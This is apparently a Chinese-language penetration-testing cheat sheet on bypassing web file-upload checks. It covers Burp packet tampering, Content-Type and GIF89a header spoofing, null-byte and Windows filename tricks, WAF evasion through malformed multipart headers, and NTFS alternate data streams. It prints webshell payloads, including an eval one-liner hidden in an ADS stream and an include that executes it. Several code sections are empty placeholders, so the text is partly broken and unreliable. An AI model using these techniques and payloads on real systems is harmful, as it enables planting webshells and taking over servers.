文件上传校验姿势
- 客户端javascript校验(一般只校验后缀名)
- 服务端校验
- 文件头
content-type
字段校验(image/gif) - 文件内容头校验(GIF89a)
- 后缀名黑名单校验
- 后缀名白名单校验
- 自定义正则校验
- WAF设备校验(根据不同的WAF产品而定)
文件上传绕过校验姿势
- 客户端绕过(抓包改包)
- 服务端绕过
- 文件类型
- 文件头
- 文件后缀名
- 配合文件包含漏洞绕过
- 配合服务器解析漏洞绕过
- CMS、编辑器漏洞绕过
- 配合操作系统文件命名规则绕过
- 配合其他规则绕过
- WAF绕过
- 黑名单绕过
- 白名单绕过
1.客户端绕过
可以利用burp等抓包改包,先上传一个gif类型的木马,然后通过burp将其改为asp/php/jsp
后缀名即可。
2.服务端绕过
2.1 文件类型绕过
我们可以通过抓包,将content-type
字段改为image/gif
2.2 文件头绕过
在木马文件内容开头加上一些文件头信息
GIF89a<?php phpinfo(); ?>
判断文件头内容是否符合要求,这里举几个常见的文件头对应关系:1234(1) .JPEG;.JPE;.JPG,”JPGGraphic File”(2) .gif,”GIF 89A”(3) .zip,”Zip Compressed”(4) .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”
2.3 文件名/后缀绕过
2.3.1 截断
test.php%00.jpg
,test.php0xoo.jpg
2.3.2 windows特性
|
|
2.3.3 ASP
|
|
2.3.4 JSP
|
|
2.3.5 PHP
|
|
3.配合文件包含漏洞
- 上传一个符合条件格式的文档,文档内容为一句话木马,eg:test.txt
- 利用文件包含漏洞包含上传的木马文件,eg:page?id=D:/www/test.txt
4.配合服务器解析漏洞
|
|
5.配合操作系统文件命令规则
上传不符合windows文件命名规则的文件名
123456test.asp.test.asp(空格)test.php:1.jpgtest.php::$DATAshell.php::$DATA…….会被windows系统自动去掉不符合规则符号后面的内容。linux下后缀名大小写
在linux下,如果上传php不被解析,可以试试上传pHp后缀的文件名。6.CMS、编辑器漏洞
- CMS漏洞:针对不同CMS存在的上传漏洞进行绕过。
- 编辑器漏洞:比如FCK,Ewebeditor等,可以针对编辑器的漏洞进行绕过。
7.其他规则
7.1 利用waf特性
- 在恶意代码前加垃圾数据;
- 在数据包前加垃圾数据;
- 在Content-Disposition参数后面加垃圾数据;
- 多加一个filename;
- 更改HTTP请求方法;
- 删除实体里面的Conten-Type字段;
第一种是删除Content整行,第二种是删除C后面的字符。删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php。
- 删除Content-Disposition字段里的空格
- 增加一个空格
- 修改Content-Disposition字段值的大小写
- 文件名后缀处回车
- 多个Content-Disposition
7.2 利用NTFS ADS特性
ADS是NTFS磁盘格式的一个特性,用于NTFS交换数据流。12345test.php:a.jpg 生成test.php 空test.php::$INDEX_ALLOCATION 生成test.php文件夹test.php::$DATA\1.jpg 生成1.jpg(不可见的)echo ^<?php @eval(request[caidao])?^> > index.php:hidden.jpg这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。我们可以在另外一个正常文件里把这个ADS文件include进去,<?php include(‘index.php:hidden.jpg’)?>,这样子就可以正常解析我们的一句话了
7.3 利用RTLO
|
|
7.4 特殊的长文件名绕过
文件名使用非字母数字,比如中文等最大程度的拉长shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg
7.5 反删除
将name="file1"
改成了file4,可以防止文件删除(JCMS漏洞)
7.8 图片转换/二次渲染/文件幻数检测
- 在不破坏文件本身渲染情况下,在空白区进行代码填充,一般是图片注释
- 溢出攻击
- 绕过GD库
…